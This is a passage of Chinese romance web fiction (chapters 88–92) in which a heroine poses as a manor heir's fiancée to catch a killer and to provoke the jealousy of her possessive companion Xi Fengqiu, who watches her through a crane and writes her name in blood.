就在赵星澜替朋友考虑该如何保证池镜花的安全时,她已拍着胸脯保证:“没关系,我可以的,而且,若是专门安排个人保护我,可能无法引出幕后之人。” 虽然这一次是她自己主动找上危险,但总不能因为她而打断原本的计划,最好的办法就是按兵不动,直到幕后凶手现身。 说话时,她故意瞥了一眼奚逢秋。 碳火的暖色光芒映在少年的侧脸,他眼眸低垂,不知在想些什么,但当察觉到池镜花的视线时,还是偏头回望。 四目相撞的前一秒,池镜花立马假装在看吴清泽,主要是怕心软,所以才要尽可能地避免与他接触。 吴清泽怔了两秒,弯眸冲她笑了笑,眼前天色已晚,提议先带他们去客房休息。 赶路累了一天,无人反对。 当他们跟着吴清泽主仆俩一块往客房去时,故意跟吴清泽并排而走的池镜花可清晰听见身后传来两道零碎的脚步声。 是男主跟奚逢秋。 声音离她很近,近到分明一样的脚步声,可池镜花却仿佛完全分清两个人,奚逢秋的脚步声如影随行地萦绕在她耳畔,敲击她的鼓膜。 可真是奇怪。 池镜花努力压制上扬的唇角,盯着脚下干硬的泥土块子。 当然,她也知道奚逢秋在看自己,但她目前唯一能做的就是不回头。 奚逢秋确实正在注视她。 此时此刻,他本能地追随她的一举一动,瞳孔溢出的梦幻色彩仿佛出自少女摆动的衣裙,完全被她牵引着。 当夕阳西下,他开始盯着池镜花投在地面的影子,但当影子因她的步伐离自己愈来愈远,奚逢秋便加快脚步,只想寸步不离地跟着,以自身的那部分将她全部覆盖、交叠。 池镜花只觉得裸露在外的脖颈漫上一丝凉意。 她知道是怎么回事,而且高兴。 当然,还有点对不起奚逢秋。 因为她分明知道他喜欢自己,却还要假扮别人未婚妻,不管目的是什么,行径已然十分恶劣,等事情结束,她得找机会好好道歉才行。 思考中,几人已带至东厢房。 为让这出戏更加逼真,池镜花故意提出,作为吴清泽名义上的未婚妻,她要跟吴清泽住 近些,以方便他们交流情感。 当然,胡扯的。 她就是想让男配吃醋,吃大醋! 吴清泽撑着拐杖站于落日下,对他的“未婚妻”友好地笑了笑。 “那池姑娘,我就不打扰你休息了。” 池镜花点点头。 不料吴清泽似想到什么,又转身笑问:“对了,池姑娘,你早餐爱吃什么,我提前吩咐人按照你的喜好准备。” 早餐爱吃什么? 池镜花突然记起自己曾答应过奚逢秋,以后只会享用他准备的饭菜,穿他准备的衣裳,如今,为了彻底攻略他,她怕是要食言了。 他会生气吗? 池镜花十分好奇地扭头观察站在吴清泽身后的奚逢秋。 少年身影在温柔的夕阳下愈显清冷,在与她撞上眼神的瞬间,他眼眸里没有一贯的笑意,只有某种澎湃危险的情绪,像条穿梭于从林的巨蟒,将她无声吞噬,嚼吧嚼吧把她吞入腹中。 是嫉妒,不是生气。 池镜花心脏砰砰直跳,仿佛每一次呼吸和心跳被他窥探着,这种感觉很奇妙,但至少一点不讨厌。 默默抚平心跳,池镜花静静向吴清泽吐出自己爱吃的一切。 接着,她“啪”地一下,毫不留情地关上房门,直到门外脚步声逐渐走远,才将门开了一条细缝,只见到一座空旷寂寥的院落。 奚逢秋不在,应去了他自己的客房。 事实上,他跟赵星澜确实在钱叔的指引下找到客房所在。 当赵星澜要与奚逢秋分别时,因他早早察觉到两人间微妙的气氛变化,因于心不忍才出声安慰他。 “奚公子,我觉得池姑娘这么做,应该有她自己的原因……” 暮色已至,冬夜寒风萧索,婆娑的树影流转在少年浅白的衣间。 月色凄冷,奚逢秋半边身子被漆黑的树影所笼罩,他始终神色淡淡,面上挂着清浅得体的微笑。 “没关系,因为池镜花很好说话啊……” 与他截然不同,池镜花向来对谁都很好,好到甚至愿意待在他这样恶心的人身边。 所以,当她得知吴清泽身边亲人接二连三地离奇死亡,对他心生同情,才要假扮他的未婚妻,帮他捉住幕后真凶。 没关系的。 即便如此,他还是会遵守承诺永远陪着她。 他不会离开她的。 永远也不会。 第89章 第89章我们还没有做过呢………… 头天晚上,池镜花睡得早,翌日起得也早。 脑袋尚未清醒,身体已感受到窗外吹进的凉意。 迷迷糊糊之间,她记起昨夜睡前分明关闭门窗,为何现在会有风? 池镜花慢悠悠地将脑袋伸出被子,睫羽颤抖着睁开双眼,一扭头,望见窗外投在地板上的金色日光,地上飘着一根雪白的羽毛。 当模糊的视线逐渐上移,终于,她看见白鹤正站在窗棂上,破碎的日光自它后背照进屋内,它歪着脑袋一眨不眨好奇地打量她。 几乎一刹那,池镜花立刻明白小白缘何在此。 她掀翻被子,匆忙套上外套,连鞋都没来得及穿,赤脚踩着阳光走到白鹤跟前,微微弯腰笑了笑,指尖亲昵地抚摸它的脑袋, “你冷不冷啊?” 当然,这句话可不是对白鹤说的,而是对奚逢秋说的。 她知道奚逢秋在利用白鹤观察她,但她决定假装不知道,不仅如此,她还要跟除了他以外的所有人都表现得尤为亲近。 直到他明白自己对她的心意。 “要不要进来啊?” 为方便白鹤伸展翅膀飞进屋内,池镜花特意将半掩的窗户完全打开。 接收到池镜花传出的讯息,白鹤黑瞳微转,“嗖”地一下飞进院子里,只敢远远地望着她。 是了。 奚逢秋连自己宠物的醋都吃,压根不会让白鹤与她太过亲近,除非他也在现场。 都已经这样了,却不明白这种感情是喜欢,这像话吗! 池镜花迅速穿戴洗漱,打开门,抓住白鹤纤长的脖子,盯着它的瞳孔,对另一头的奚逢秋气鼓鼓地汇报自己接下来的行动。 “我现在要去跟少庄主吃饭了!” 她很确定,奚逢秋一定会出现,而且白鹤一直与她保持距离跟在她身后。 不过有件事着实没有预料到。 虽然昨日吴清泽已经跟她说明膳厅地点,可睡了一觉,池镜花已忘记吴清泽究竟说了哪些话,加上她本身认路就不行,落雪山庄又大。 不多时,她就完全迷失方向。 幸好府内还有旁人。 她随机抓了个过路丫鬟,向她询问膳厅所在地。 “您是……” 丫鬟双颊被风吹得通红,面上挂着兴奋的笑,眼睛亮晶晶的,“你是少庄主的未婚妻吧,我听说了,少庄主的未婚妻过来了,就是您吧?” 池镜花没想到消息会传得这样快,但即便她只是吴清泽的假未婚妻,可毕竟身负找到幕后真凶的责任,只能尴尬笑着点点头。 小丫头尤为和善,一副自来熟的样子一把抓住她的手指,朝她俏皮地眨眼。 “走,我带你去膳厅。” 丫鬟说她叫无双,似乎还是个话痨,一路上,她跟池镜花说了很多落雪山庄的事情,当然,最多的还是吴清泽的事情。 随着山庄日渐凋零,吴清泽身边本用不着这么多丫鬟仆从,但为了让他们有个安身之所,所以才留下他们。 说起这个,无双每每都会加上一句“少庄主可真是个好人”。 池镜花只听不评价,偶尔也会见缝插针地询问山庄近几年发生的怪事,可无双压根什么也不清楚,只知道她从未在山庄见过“鬼”。 最后,无双又谈到今年冬季格外的冷,客房被褥薄,等有空她去给池镜花送两床厚被子。 说话间,池镜花已被她带至膳厅。 不出所料,奚逢秋已经在门口等着。 见她过来,奚逢秋并未说话,也没跟上来,而是静静地守在门口,望着她,温柔地笑着,简直乖得不行。 ……到底是什么小狗行为啊! 真是够了。 池镜花被他撩得心痒,直接快步走上前抓住他的手腕,把他往里拽。 奚逢秋还是没有开口。 他眼眸低垂,看向少女被冻红的指尖,想到他利用白鹤观察她一事。 他一直在看她,可光这样远不能填满他心中日渐繁盛的欲望沟壑,唯有她给予一点安抚,就如同现在这样。 所以,如果装乖有用的话,他愿意在她面前这样做。 少年唇角扬着满足的笑,主动攀上她的手指,指尖慢慢插|进她的指缝,一点点完成与她十指相扣的动作。 “你满意我这样吗?” 池镜花镜花指尖一顿,回过头,明白他指的是刚才故意扮乖一事,忙抽回手指,一脸严肃地回道:“不满意,你别这样做了。” 不对不对不对。 她喜欢,喜欢得不得了,但光她喜欢有什么用,哪怕他们曾比恋人还要亲密,可到头来,他居然连“喜欢”都不明白! 她低头不停摩挲手指,试图抹去他附着在自己肌肤上的痕迹,但不管怎么揉搓,当躯体早已烙上他的气息,怎样都是徒劳。 池镜花越想越气,干脆扔下他,一个人往膳厅里走,见他跟上来后,又故意挨着吴清泽而坐。 意识到气氛不对劲,赵星澜不懂男女之事,赶紧吃完饭,找个理由出去散步。 虽然可以明显感觉到奚逢秋的情绪波动,可池镜花却觉得还不够。 她灵机一动,想到个绝妙的主意,于是扭头问吴清泽:“对了,少庄主,我听无双说,你少时文武双全,那想必写字也很好看了对不对?” 在吴清泽疑惑的目光中,池镜花继续道:“其实是因为我写字太丑,所以想请你教我写字。” 吴清泽轻轻一笑,“当然可以,池姑娘若有时间的话我可以教你。” 池镜花立即放下筷子,故意做出一副求知若渴的样子。 “现在 就有时间,我们立刻开始吧!” 吴清泽愣了下,旋即把她带至书房。 书房空空荡荡,悬于四处的书法字画在阳光的照耀下散发出淡淡墨香。 池镜花左右张望,以为奚逢秋会跟先前一样让白鹤充当他的眼睛注视她,但始终不见白鹤身影,倒是浑身一激灵,打了个冷颤。 他就在附近。 池镜花对这种感觉最为熟悉,虽然看不见他具体位置,但她确定奚逢秋一定在这周围的某一处。 或许由于无法确定他的具体位置,反而更叫池镜花莫名地心跳加速,因为只有意外才叫惊喜。 池镜花按下狂乱的心跳,让吴清泽先给她打个样,毕竟她写的字实在难以见人。 当然,所谓让吴清泽教她写字并非心血来潮,而是利用奚逢秋所擅长之事,可她却偏偏去找别人,这才是重中之重。 几字落笔,吴清泽缓慢抬头,见她神情恍惚,目光不由透着几分疑惑。 “池姑娘,这也是为了引出幕后凶手吗?” 池镜花一时没反应过来,“什么?” 吴清泽眉头微蹙,左手习惯性地抚摸拐杖,仔细回想他们从昨日见面以来所发生的一切。 “因为相较于昨日,你今日对我的态度不太一样,你故意与我亲近,是为了引出幕后真凶吗?” “额……是的。” 池镜花尴尬挠脸,心虚到不敢与他对视,总不能说她在利用他让男配吃醋…… 此时,她又想起无双的絮絮念,只觉得良心受到莫大的拷问,但既已决定利用吴清泽,就只能尽自己最大的努力帮他抓住残害他亲人的凶手。 不知是不是她一直在想奚逢秋这件事让对方敏锐察觉到,下一秒,吴清泽的话题也往他身上拐。 “那池姑娘,你与奚公子关系很亲密吗?” 似是没想到他会这么问,池镜花足足反应了好大一会儿。 窗外泄进的冬日暖阳洒在少女的睫羽,她眼睫一颤,日光如金粉飞进她的眼底,她垂下眼眸,故意说着违心的话。 “不算亲密,只是因为恰好我们的目的地都是京城,所以只能算同行者。” 说话时,她有意加重“同行者”三个字,甚至连“朋友”都不愿说。 说实在的,她压根就不愿跟他做什么朋友,再说了,哪有隔三差五就亲吻的朋友! 而且,她得确保这话让躲在暗处的奚逢秋听见。 他会有何想法呢? 池镜花猜不到,但肯定不会无动于衷。 她很好奇。 直到夜色降临,池镜花累了一天,她活动着酸疼的手腕,用手肘推开房间的门,发现屋内已点上蜡烛,微弱朦胧火光盈满整间屋子。 池镜花继续往前走,在窗棂前看见奚逢秋。 他沐浴着月光,就静静地坐在那,低着头,唯有在听见她的脚步声接近,才仰起头,明明灭灭的烛火映在他的脸庞,他露出个温和的笑。 “抱歉,我私自闯进了你的房间。” 这个时候,居然还挺有礼貌。 池镜花正想说算了没事,却发现不太对劲。 空气中飘来极淡的墨香,混合着浓重的血腥。 桌上铺满纸张,字迹虽然模糊,却能看清一撇一捺地构成却并非墨水而是鲜血,正是来自于奚逢秋指尖流淌的血迹。 池镜花头皮发麻,她站在原地一动不动。 当缀在指尖鲜艳血珠啪嗒砸向地板,奚逢秋已向她走去,离月光越来越远的同时离他心中的欲念愈近。 同行者…… 为什么池镜花会认为他们是同行者? 他不明白。 可唯有一件事他很清楚——池镜花对待吴清泽的态度已超过好说话的范畴。 在来落雪山庄之前的很长一段时间里,他们一直都待在一起,他们有很多时间去做这件事,那她为什么还要找别人呢? 池镜花分明夸奖过他写字好看,既然如此,为什么他不可以,为什么不是他来教她写字,为什么是吴清泽? 这是什么情绪呢? 他不知道。 为什么自己可以一直在注视着她,却完全不清楚她在想什么? 他对此束手无策,可冲破内心桎梏的束缚有一个声音在呐喊,音量越来越高,几乎在池镜花说出“同行者”时将他吞噬。 ——不可以! ——不可以! ——不可以! 不可以是吴清泽。 她的身边应该只有他才对。 她的呼吸、心跳、目光……所有一切应全部属于他。 正如他因她而存在一般。 少年慢腾腾地摊开右手,可见其掌心几道触目惊心的伤口,偏偏因失血过多的苍白面颊上温柔到极致的笑容。 “我们还没有做过呢……” 第90章 第90章为什么我不可以。 皎白的月光洒落在他的脚下,冷风卷动他的衣角,偶尔沾染一缕月华,当风息后,奚逢秋整个人便完全立于阴暗中,神色晦暗,眼底浮着一抹淡淡的笑意。 池镜花明白他的意思,却故作懵懂地眨眼。 “什么意思?” 少年掌心深浅不一的伤口还在渗着血,鲜血顺着指尖和掌心纹路往下滴落,溅出一朵朵瑰丽的花朵。 窗外不知何时起了夜雾,飘进屋内混着血气,血色的淡雾氤氲在他四周。 少年眼眸低垂,半湿的睫羽如受惊的蝴蝶微微颤抖着。 不知想到什么,下一秒,他抬眸向前一步,地板上的黑影完全叠盖住他的。 奚逢秋极其不解地歪着脑袋,表情极为认真地询问:“我不可以吗?” 他的声音很低,只说给他们两个人听的,宛如一片白羽轻轻撩动她的心脏。 池镜花极力克制心跳,忙摆手婉拒。 “不用不用,少庄主教我就好,你受伤了,还是先回去处理一下伤口吧。” 说话时,池镜花轻咬唇瓣,手指攥紧衣裙,故意扭头瞥开视线,怕自己心软忍不住靠近他,因为喜欢一个人就会如此。 虽然池镜花总开玩笑说他黏人,但她其实也想跟奚逢秋待在一起。 少年继续向前一步。 眼看两人之间的距离越来越近,池镜花正要后退,奚逢秋却先一步用手抵住她的后脑。 指尖毫无阻碍地探进她的发丝,不管缠绕还是触碰,仿佛每一个细微的动作都在轻轻撩拨她的神经,像要把她拖拽进一个织好的蛛网中。 池镜花正要推开他,可比她的动作更快落下的是少年略微颤抖的声音。 “为什么?为什么我不可以……” 他不明白,为什么自从来到落雪山庄,一切就都跟以前不一样了。 同行者…… 为什么是同行者? 她不是说过在乎他吗?想跟他处好关系吗? 所以,对她来说,只需要“同行者”这种程度就够了吗? 不对啊。 不对啊。 不对啊。 他们应该是为更亲密的关系才对…… 是因为他做错什么事情,让池镜花生气了吗? 她为什么不告诉他? 她为什么不教教他? 还是因为别的什么? 是什么呢? 他不知道。 当无数信息在他脑海中爆炸式增长,奚逢秋无法理解,却因内心深处滋生的欲望无法得到满足,因此唯有采取原始的方式去讨好她。 他另一只手握住她的五指,引导她抚上自己的脸颊,亲昵地蹭了蹭她的手心。 “不要拒绝我,我会比吴清泽更有用更听话的。” 他的一字一句似乎在说,只要他足够乖巧听话,就能与她在一起。 池镜花蓦然想起,他小时候在王府也是这般——好像只要他听话,就能获取母亲和旁人的一点怜爱。 久而久之,这便成为他下意识也会做出的行为。 可她要的不是这个,她不需要他听话,也不需要他故意讨好。 她只想让他做自己,并且明白他内心对她最真实的情感。 池镜花指尖一颤,指尖从他手里抽出,默默推开他,往后倒退一步,低着头,试图抹去他在自己手上留下的血迹。 “时间不早了,你该回去了。” 她说话的语调又淡又轻,就算细听也听不出任何情绪波动。 奚逢秋没动,他在注视她,并试图揣摩了解她的全部。 但他还是不明白。 或许,他应该遵从本心,进入她的身体、与她融为一体,只有这样,他们才会永生永世地只属于彼此。 池镜花只觉得有股阴风从背后升起,浑身都凉嗖嗖的。 趁他不注意,她直接拽着他的手腕,“啪”地一声,把人关在门外。 与此同时,与他视野共享的白鹤翅膀震动两下,一口气跳上窗棂,一眨不眨地盯着她,代替主人陪伴她左右。 池镜花二话不说又把窗户合上。 做完这一切,她坐在奚逢秋先前坐着的位子,低头打量他留下的字迹。 鲜血替代墨汁,一笔一划皆是她的姓名。 当池镜花以指尖抚摸触碰时,仿佛能够感受到对方在孤寂等待她时内心一遍遍呼唤她、想要与她耳鬓厮磨的强烈心情。 仿佛写下“池镜花”三个字并非他的心血来潮,而因为这是刻在他骨髓血液里的名字。 正如他以血作画,分明潜藏无数可能性,却在数十张纸上通篇写满了她的姓名。 也只有这唯一的结果。 因为,在他的生命中,除了她,一无所有。 池镜花将写满自己姓名的纸张叠好放在一侧,突然想起她在幻境里好像要他给自己写副字来着,后来出了幻境就忘了。 如今,倒是变相满足了她的愿望。 池镜花不禁失笑,在无人听见的角落,轻声道了声“谢谢”。 这些鲜血淋漓的字迹虽然看着恐怖,可一笔一划无不倾注着男配对她的爱恋,即便他本人没有意识到,但池镜花却十分感激他可以喜欢自己。 怀揣着这种心情,池镜花睡了个好觉。 第二天,太阳刚刚初升,池镜花便起床,假装火急火燎地去找吴清泽练字。 出门时,池镜花罕见地没有看见白鹤。 不想等她找到书房,发现白色正盯着门口已经结冰的池塘,似在思考这天寒地冻的,以后还能不能吃上自助餐了? 池镜花不做理会,而是直冲书房。 果不其然,有白鹤在的地方,奚逢秋大概率就在附近。 只见昨日还是只有吴清泽一个人在的书房,此时已多出一个人。 出人意料的是,场面尤为和谐。 在池镜花没来之前,两人只在讨论山庄近几年发生的怪事。 吴清泽见她进屋,远远地便朝她招手,让她走到自己身旁,指着案板上墨迹未干的花名册,神采奕奕地解释。 “池姑娘,你来得正好,方才奚公子跟我说,杀害我亲人的凶手很有可能就藏在府内,所以我已拟定入府七年以上的丫鬟仆从名单,准备让钱叔调查他们的家庭背景。” 池镜花被吴清泽说得一愣一愣的,委实不明白才过去一夜,奚逢秋怎么突然这么热心肠。 照进屋内的日光打在少年的侧脸,他正望向窗外,蓝紫色的双眸浮出金色的光晕,当耳铛轻轻摇曳时,奚逢秋偏头看向池镜花,露出清笑温和的笑容。 “别担心,很快就会结束了……” 什么? 池镜花不理解。 奈何没等她询问具体情况,吴清泽兀自打断一切。 “我腿脚不便,可以麻烦姑娘现在将这花名册交予钱叔吗?” 望着吴清泽递过来的花名册,池镜花实在不好拒绝,但又怕自己离去,让他们二人独处出岔子,只能临行前特地嘱咐一声。 “好,等我,我很快就回来。” 少女的身影很快消失在门口,伴随着愈来愈日光,少年的表情愈发古怪,他微微启唇,反复咀嚼池镜花丢下的两个至关重要的话语。 “回……来……” 她为谁而来? 又为谁回来? 尽管奚逢秋才刚见过她,但他清楚,自己可以见到她,并非因为她想见他,而是得益于吴清泽。 所以—— 她为别人而来。 她也为别人而回。 刹那间,如同生吞下一颗未成熟的果实,当果实进入腹部,外皮逐渐消化,余下的酸涩在体内迅速蔓延,席卷全身,汇集心脏,仿佛每一次呼吸都变得滞涩。 他虽没办法明白这种情绪究竟是什么,可生理带给他的感受更叫他困惑。 奚逢秋花了一整夜也没想明白自己缘何为此,更不理解他们之间为何会变成现在这样,为何池镜花要远离他而亲近吴清泽。 可是现在,他明白了。 是因为吴清泽。 因为他一出现,便夺走她的视线、她的注意力、她的笑容,使得池镜花的眼里从此只能看见吴清泽一个人。 得让偏离的一切回到正轨上。 少年提步缓慢向吴清泽走去的同时,挂在唇边温柔笑容逐渐扩大。 杀了他。 奚逢秋想。 90-100 第91章 第91章是她手中的纸人。 当他的嫉妒之焰熊熊燃烧而无法自抑,顿时,滋生的杀欲犹如开了闸的洪水,在他体内横冲直撞,势如破竹地扫荡过他的心田,冲出掩藏在淋淋血肉下的欲望。 奚逢秋记起一些往事。 过去,他接悬赏令,做别人的快刃,替人解决麻烦事,是由于事情越危险越有意思,这会让他心情很好,可杀吴清泽不一样,甚至没有任何乐趣可言。 完全只是因为池镜花在意吴清泽。 所以,他要解决吴清泽。 少年一双深不见底的蓝色眼眸直直地盯了吴清泽几秒,忽而露出个温柔似水的笑,内里却裹挟着无穷的杀意。 吴清泽对此似乎毫无察觉,也微微点头,回以礼貌的微笑。 奚逢秋想着他可真无趣。 不管池镜花为何要在意他,但只要他死就好了吧。 奚逢秋指尖一颤,正欲抬手,余光忽然瞥到门口那抹熟悉的身影。 ——池镜花不知何时折返回来了。 四目相撞的瞬间,他看见映在瞳孔中少女的眼睛在慢慢睁大。 是讨厌? 是害怕? 是失望? …… 奚逢秋这两天或悄悄跟在她身边,或一直借用白鹤的眼睛注视她。 他看见过,池镜花总跟吴清泽有说有笑。 那为什么不对他笑? 为什么不跟他说话? 为什么要用这样的表情看他? 啊…… 他又做错了…… 几乎刹那间,奚逢秋已慢慢敛去杀意,往后倒退几步,垂头默默思考他到底错在哪里。 见他放弃杀人念头,池镜花抚着胸口长舒一口气。 其实,池镜花本就不放心让男配跟吴清泽独处,幸好一出门就撞见钱管家,于是,在把吴清泽给她的花名册交出去以后,她就马不停蹄地往回赶。 不想还没进门就看见这一幕。 幸运的是,还没等她阻止,奚逢秋已然放弃杀人念头。 如今,她总算明白奚逢秋的嫉妒心有多强,也知道奚逢秋在乎她的看法,甚至愿意为她妥协。 池镜花悄悄做了几次深呼吸,为吸引吴清泽的注意力,不禁大喊一声:“少庄主,我回来了。” 奚逢秋眼睫一颤,掀开凤眸,疑惑地朝门口望去。 少女背着门口日光,亮闪闪的杏眼弯弯,冲吴清泽露出明媚灿烂的笑容。 可这样干净的笑容应该只有他能看才对。 而且,分明是他先看见的她,不管她在哪里在做什么,他都知晓。 为什么不先跟他打招呼? ……果然是因为他做错了什么事情吗? 不知怎地,他看上去就像一条可怜兮兮的摇尾小狗。 池镜花再次受到良心的拷问,觉得自己有愧于他。 下一刻,意识尚未反应过来,手指已抓住她的手腕,把他拖到吴清泽跟前,对吴清泽抱歉地笑了几笑。 “少庄主,今天我还有事,明日我再来找你练字,可以吗?” 吴清泽眨眨眼,不理解但尊重。 得到吴清泽首肯,池镜花急吼吼地拉着奚逢秋,把人往外带。 奚逢秋静静垂眸,看见阳光下呈以淡粉少女肌肤正贴着他的。 他以自身冰凉的指尖一点点探进她的指缝,趁她忍不住打冷颤的间隙,接着,快速侵入,直至完全握住她的手指。 这是他们两天以来的首 次肌肤接触,感觉很好,心情也莫名畅快许多。 “要去哪儿?” 听见他微微上扬音调,池镜花头也不回地命令道:“你先别说话。” 说实话,她也不知道自己究竟要带他去哪儿,但一定是一个不会被打扰的地方。 于是,兜兜转转,池镜花还是决定把他带回自己的房间。 外面风大,池镜花一进屋就把门窗关好,同时也是确保他们的隐私不会被别人听了去,毕竟在王府里待那么多天有了经验。 接着,为了缓解自己的紧张情绪,池镜花给自己倒了杯水,但水早凉了,她也没喝完,索性转过身,仰脸直视正在凝视着自己奚逢秋。 当池镜花与他对视,一如初次在山中见面,少年五官绝绝眉眼如画,完全是照着她喜欢的模样生的,只是面上多出失落的情绪。 门窗紧闭,四周无风,自然也不冷,可脸颊却隐隐发烫。 她湿润的眼睫上下眨动一下,强行压下心中蔓延的强烈的羞耻心。 “你现在有什么话想对我说吗?” 忙活这么久,她自然期待听到他的表白。 “我不明白……” 好不容易与她独处,少年本能地伸手揽住她,低下头,额头轻抵着她的肩膀,当嗅见她身上的气息时,呼吸稍显急促,语气却充满讨好的意味。 “你教教我,我要怎么做你才会高兴?你才能继续留在我身边?” 什么跟什么啊! 与其考虑他做错了什么,不如想一想他究竟为何会这样! 眼见得不到自己想要的回答,池镜花甚至想着要不她直接表白在一起得了。 反正,她也喜欢他。 可若这样的话,奚逢秋为了跟她在一起一定会说他也喜欢她,可他真的明白自己对她的情感是出于喜欢吗?能让好感度提升吗? 这样一来,不过是让他们之间多了重“情侣”关系而已。 不行! 这样就跟以前没区别了。 不能再像那样稀里糊涂地相处下去了! 感受到他离自己愈靠愈近,在奚逢秋埋进她的颈窝前,池镜花咬牙推开他,双手按在他的脸颊,唇瓣轻轻擦过他的额头。 许久未曾主动亲近他,池镜花不大好意思地轻轻抿唇,直到做好心理建设,才把飘忽不定的视线定在他脸上,问出史上最羞耻的问题。 “感觉如何?” 轻飘飘的吻所夹带的湿润香甜,自他额头向下蔓延,仿佛一条天然的鱼钩,引他慢慢俯身向她靠近,额头紧贴着她的,无意识地想向她索取更多。 他眼睫低垂,唇角微扬,静静阐述自己的身心体验。 “很高兴,很舒服,想让你继续亲下去……” 在他吐出更多虎狼之词以前,池镜花吓得赶紧用手捂住他口不择言的嘴巴。 四周静默,只闻彼此逐渐重叠的心跳声。 池镜花调整下呼吸,表情严肃地望着他。 “这是我最后一次亲你。” ——在他明白自身感情之前的最后一次。 “我不会再跟你这样独处,更不会像刚才这样亲你。” ——因为毫无意义。 少年握住她的手指,紧紧攥在手心,他歪了歪脑袋,唇角弧度渐起,有意无意流露出的杀意表明他对吴清泽的厌恶之情。 “是因为吴清泽吗?” 池镜花摇摇头,狠狠按了下他的指尖,表明自己现在就在他面前,与他人无关。 “不是,跟吴清泽无关,奚逢秋,是我不想再跟你这般了。” 她费劲吧啦地有意撩起他的欲望,却又故意推开,不断拉扯间,是希望他赶紧明白自身情感。 “奚逢秋,我只跟你做过这样的事情,哪怕是再亲密的事情,只要是跟你,我都不会讨厌,可是,你却并不明白这种感情是什么,我不喜欢这样。” “所以,这是最后一次。” 如同下达最后通牒一般,池镜花就这样决定了他们今后彼此的命运,除了心意相通,没有第二路可走。 “今天,我不会去找吴清泽,但是明天,我还是会去找他的。” 池镜花一字一句无比认真,哪怕见他眼眶微红,一副快要哭出来的样子,也只会劝自己不要心软。 末了,怕剂量不够,池镜花特意补充一句:“因为我答应过他的,还有,你不要为难他。” 她一边面无表情地说话,一边心里不停地跟吴清泽道歉,把他当成工具人利用真是对不起! “好了,我要说的话说完了,你该回去了。” 语毕,她把他推出门外,不由分说地关上门,把他赶回自己的房间,心脏却扑通扑通跳个没完。 ……她是不是太过分了? 可是不这样与他划清界限,真的能够让他明白自己的心意吗? 奚逢秋委实不明白。 他想了很久,觉得若池镜花只是个纸人就好了,就可以把她永远带在身边。 可她为何不是纸人? 为何不能与她骨血相融。 为什么? 为什么会这样? 当夜色降临,月华洒满人间,他不知满足地透过白鹤的眼睛窥见少女的睡颜,却再也无法触碰、拥抱。 可是—— 好想好想好想好想好想好想好想好想好想好想好想好想好想好想好想好想好想好想好想好想。 当再次游走在失控的边缘,奚逢秋意识到自己的思想和行动自完全受她影响,仿佛自己才是她手中的纸人,一举一动皆由她操控。 这究竟是什么样的感情? 他不理解。 奚逢秋微微转动瞳孔,收回黏腻潮湿的视线,盯着停在掌心的三枚铜钱。 或许,只有当他想明白这究竟出于何种感情,池镜花就愿意与他在一起了。 他开始试着替自己占卜。 当铜钱抛出又接住后,奚逢秋却看不懂这从未见过的离奇卦象。 但他或许知道该去找谁。 因为道士可远比他要擅长占卜问卦。 当奚逢秋踏着浓稠的夜色找到赵星澜时,他正跟纪望慕有说有笑,耳根微微泛着红意,时不时地眼神心虚地乱瞟,然后看见了站在门口之人。 见他主动登门,赵星澜十分诧异地询问具体原因。 奚逢秋缓慢摊开修长的五指,月光照耀下的掌心躺着的三枚铜钱所掷出的卦象,一直被他小心翼翼地护着。 “能帮我看看这个卦象吗?” 神色平静,语调温润清端,叫人根本看不出任何异样。 赵星澜瞅了一眼,犹豫地挠挠头,又回过头看看坐在屋内的女鬼,这回不止耳尖,连双颊都如红透了柿子。 “你……你不知道自己喜欢池姑娘吗?” 第92章 第92章你为什么不爱我? 喜欢…… 喜欢人? 喜欢池镜花? 月光自最高处倾斜而下,斑驳模糊的树影流连在他衣间,映在他的面颊。 奚逢秋神情呆滞地瞳孔微转。 他眼眸微垂,失去焦距的双眼直愣愣地盯着手里的铜钱卦象。 这代表他喜欢她吗? 可是,他怎会喜欢别人呢? 父亲和母亲分明都说过他脑子不好,是个对他人生不出任何情感的怪物。 难道母亲说错了吗? 喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢喜欢。 当“喜欢”一词如洪水般占据他的脑海,想要见到池镜花的欲望由一道不显眼的细缝迅速扩张高山沟壑。 他握了握苍白的手指,面不改色地向赵星澜道了声“多谢”,转身往池镜花所在的方向走去。 天色已晚,四周寂静,少年浅白的衣角时不时扫过地面干枯的杂草。 不多时,他已停在她门口。 屋内没有光线,毫无动静。 哦,对了,她还没醒。 尽管想见她的心情很是强烈,奚逢秋不愿打扰她休息,索性坐在门口耐心等待天明。 为打发这漫长而无聊的时间,他只能 翻出白丝,跟以前一样用翻花绳。 渐渐地,冬日的夜里开始起雾,冰冷的湿气沾上他的发丝,侵进他的肌肤。 奚逢看上去却心情极好的样子,他低着头,眼底含着淡笑,视线分明落在指尖,可思绪早就偏远了,唇瓣不自觉地轻轻张合。 “不冷哦……” 他想到昨日清晨池镜花通过白鹤问他冷不冷一事,既惊讶于她的敏锐,又高兴她始终放纵自己总是这般窥视她。 仿佛不能让她离开自己半步,否则就会寸步不离地跟着她、注视着她、渴望着她。 就比如现在。 “好慢啊……” 头顶的乌云在缓缓飘动,时间过得似乎分外慢。 到底还要多久才能再见到她呢? 会跟白天不太一样吗? 奚逢秋安静乖巧地坐在门口,只能在心里一遍遍地呼唤她。 而池镜花这一觉睡得不太安稳。 许是她潜意识里也认为自己做得太过分,所以当天晚上,她便梦到了奚逢秋。 当然,不是什么春梦。 只有他在梦里把她死死箍在怀里,红着眼眶,低声下气地讨好她取悦她,情到至深难以自抑时会伏在她肩上,身体颤动地一遍遍地询问她为什么。 为什么不理他? 为什么不看他? 为什么要跟别人在一起? 他究竟哪里做错了? 活像一只失去主人怜爱的阴湿小狗。 这无疑加重了她的愧疚感。 等到第二天清醒,池镜花留下了头疼的后遗症。 她艰难地爬起来,漆黑无神的瞳仁转动一圈,打量屋内百年不动的陈设,忽然觉得哪里不对劲。 门窗紧闭着,仅有几缕日光从缝隙处溜进,夹杂一丝暖意,空中飘着些许细小的灰尘颗粒,唯独不见白鹤身影。 池镜花急忙穿戴洗漱,一推开门,发现奚逢秋就坐在门口,而累了两天的白鹤,正得空匍匐在他脚边打盹。 少年面对院落,承着暖阳照耀,本如同一副安静毫无情绪波动的漂亮人偶,直到察觉她来,才有所反应地站起身来。 在看见她的瞬间,积在心底的种种阴霾烟消云散,顿时,他只露出满足高兴的笑。 ——完成这一切只需要与她见面。 池镜花没有说话,而是低下头,静默地绕过他身侧,抬脚往书房方向走。 